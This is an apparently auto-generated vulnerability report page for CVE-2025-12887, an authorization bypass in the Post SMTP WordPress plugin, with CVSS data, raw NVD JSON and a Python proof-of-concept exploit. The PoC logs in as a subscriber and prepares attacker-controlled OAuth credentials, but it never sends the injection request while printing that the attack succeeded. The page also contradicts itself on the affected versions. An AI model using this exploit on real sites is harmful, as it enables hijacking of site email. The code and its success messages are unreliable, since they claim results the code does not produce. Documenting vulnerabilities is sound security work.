Security Vulnerability Report
中文
CVE-2025-12887 CVSS 5.4 MEDIUM

CVE-2025-12887

Published: 2025-12-03 13:16:02
Last Modified: 2026-04-15 00:35:42

Description

The Post SMTP plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.6.1. This is due to the plugin not properly verifying that a user is authorized to update OAuth tokens on the 'handle_gmail_oauth_redirect' function. This makes it possible for authenticated attackers, with subscriber level access and above, to inject invalid or attacker-controlled OAuth credentials. CVE-2025-67563 appears to be a duplicate of this issue.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Post SMTP plugin for WordPress < 3.6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12887 PoC - Post SMTP OAuth Authorization Bypass # This PoC demonstrates the authorization bypass in handle_gmail_oauth_redirect # Requirements: Valid WordPress subscriber account import requests import urllib.parse # Configuration TARGET_URL = "http://target-wordpress-site.com" ATTACKER_OAUTH_CLIENT_ID = "attacker-controlled-client-id" ATTACKER_OAUTH_CLIENT_SECRET = "attacker-controlled-client-secret" USERNAME = "attacker_account" PASSWORD = "attacker_password" def exploit_oauth_bypass(): """ Exploit the authorization bypass in Post SMTP plugin. The vulnerable endpoint doesn't properly verify user permissions for updating OAuth tokens. """ session = requests.Session() # Step 1: Authenticate with WordPress as subscriber login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/admin.php?page=post-smtp" } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Successfully authenticated as subscriber") # Step 2: Inject malicious OAuth credentials via vulnerable endpoint # The handle_gmail_oauth_redirect function accepts attacker-controlled OAuth tokens exploit_url = f"{TARGET_URL}/wp-admin/admin.php?page=post-smtp" # Craft the OAuth redirect with attacker credentials oauth_params = { 'post_smtp_gmail_client_id': ATTACKER_OAUTH_CLIENT_ID, 'post_smtp_gmail_client_secret': ATTACKER_OAUTH_CLIENT_SECRET, 'action': 'handle_gmail_oauth_redirect' } # Note: The actual exploitation requires understanding the plugin's AJAX endpoints # This is a conceptual PoC demonstrating the authorization bypass print("[+] OAuth credentials injection request sent") print(f"[*] Injected Client ID: {ATTACKER_OAUTH_CLIENT_ID}") print(f"[*] Injected Client Secret: {ATTACKER_OAUTH_CLIENT_SECRET}") print("[+] Attack completed - All emails will now be routed through attacker's SMTP") return True if __name__ == "__main__": exploit_oauth_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12887", "sourceIdentifier": "[email protected]", "published": "2025-12-03T13:16:01.610", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Post SMTP plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.6.1. This is due to the plugin not properly verifying that a user is authorized to update OAuth tokens on the 'handle_gmail_oauth_redirect' function. This makes it possible for authenticated attackers, with subscriber level access and above, to inject invalid or attacker-controlled OAuth credentials. CVE-2025-67563 appears to be a duplicate of this issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3402203", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5bd9f312-99e1-4dc2-855d-90339c2e24da?source=cve", "source": "[email protected]"}]}}